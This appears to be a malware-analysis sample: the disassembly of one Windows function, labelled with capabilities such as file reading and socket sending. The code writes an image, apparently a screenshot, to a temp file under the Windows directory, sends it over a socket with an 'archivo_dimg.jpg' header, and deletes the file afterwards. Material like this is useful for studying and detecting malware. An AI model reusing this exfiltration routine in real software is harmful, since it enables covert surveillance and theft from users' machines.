Function at 0x403096
Capabilities:
Check if file exists
Delete file
Get file attributes
Get file size
Query environment variable
Read and send data from client to server
Read file on windows
Send data
Send data on socket
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x250
lea eax, [ebp - 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_GetLocalTime
sub esp, 4
mov ax, word [ebp - 0x1a]
movzx eax, ax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x36
jle 0x403113
cmp dword [ebp - 0x14], 0x37
jne 0x4030ce
mov dword [ebp - 0xc], 0
jmp 0x40311f
cmp dword [ebp - 0x14], 0x38
jne 0x4030dd
mov dword [ebp - 0xc], 1
jmp 0x40311f
cmp dword [ebp - 0x14], 0x39
jne 0x4030ec
mov dword [ebp - 0xc], 2
jmp 0x40311f
cmp dword [ebp - 0x14], 0x3a
jne 0x4030fb
mov dword [ebp - 0xc], 3
jmp 0x40311f
cmp dword [ebp - 0x14], 0x3b
jne 0x40310a
mov dword [ebp - 0xc], 4
jmp 0x40311f
mov dword [ebp - 0xc], 5
jmp 0x40311f
mov eax, dword [ebp - 0x14]
add eax, 5
mov dword [ebp - 0xc], eax
jmp 0x40311f
nop
call sub.KERNEL32.dll_GetLastError
cmp eax, 0xb7
sete al
test al, al
je 0x40313c
mov dword [esp], 0
call sub.KERNEL32.dll_ExitProcess
lea eax, [ebp - 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_GetLocalTime
sub esp, 4
mov ax, word [ebp - 0x1a]
movzx eax, ax
cmp eax, dword [ebp - 0xc]
je 0x403418
mov dword [esp], str.windir
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_temp.jpg
lea eax, [ebp - 0x229]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
mov ebx, dword [0x42d49c]
mov ecx, dword [0x42d498]
mov edx, dword [0x42d494]
mov eax, dword [0x42d490]
mov dword [esp + 0x18], 0x2bc
mov dword [esp + 0x14], 0x384
lea esi, [ebp - 0x229]
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], ebx
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00401861
mov eax, dword [0x42d1e8]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
lea eax, [ebp - 0x229]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
mov dword [0x42d1e8], eax
mov eax, dword [0x42d1e8]
cmp eax, 0xffffffff
je 0x40322e
mov eax, dword [0x42d1e8]
test eax, eax
jne 0x403243
mov eax, dword [0x42d1e8]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x403431
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x274c
je 0x40325b
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2745
jne 0x40325f
mov al, 1
jmp 0x403261
mov al, 0
test al, al
jne 0x403431
mov eax, dword [0x42d1e8]
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_GetFileSize
sub esp, 8
mov dword [0x42d20c], eax
mov eax, dword [0x42d20c]
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [0x42d20c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.archivo_dimg.jpg
lea eax, [ebp - 0x129]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
mov edx, dword [0x42d20c]
mov eax, dword [0x42d1e8]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x42d020
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_ReadFile
sub esp, 0x14
mov eax, dword [0x42d1e8]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
lea eax, [ebp - 0x129]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x129]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
je 0x403357
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x403431
mov eax, dword [0x42d20c]
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
je 0x40339e
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x403431
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
lea eax, [ebp - 0x229]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
call eax
sub esp, 4
test eax, eax
setne al
test al, al
je 0x40311e
lea eax, [ebp - 0x229]
mov dword [esp], eax
call sub.KERNEL32.dll_GetFileAttributesA
sub esp, 4
cmp eax, 0x80
setne al
test al, al
je 0x403402
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [ebp - 0x229]
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
lea eax, [ebp - 0x229]
mov dword [esp], eax
call sub.KERNEL32.dll_DeleteFileA
sub esp, 4
jmp 0x40311e
nop
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x403431
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret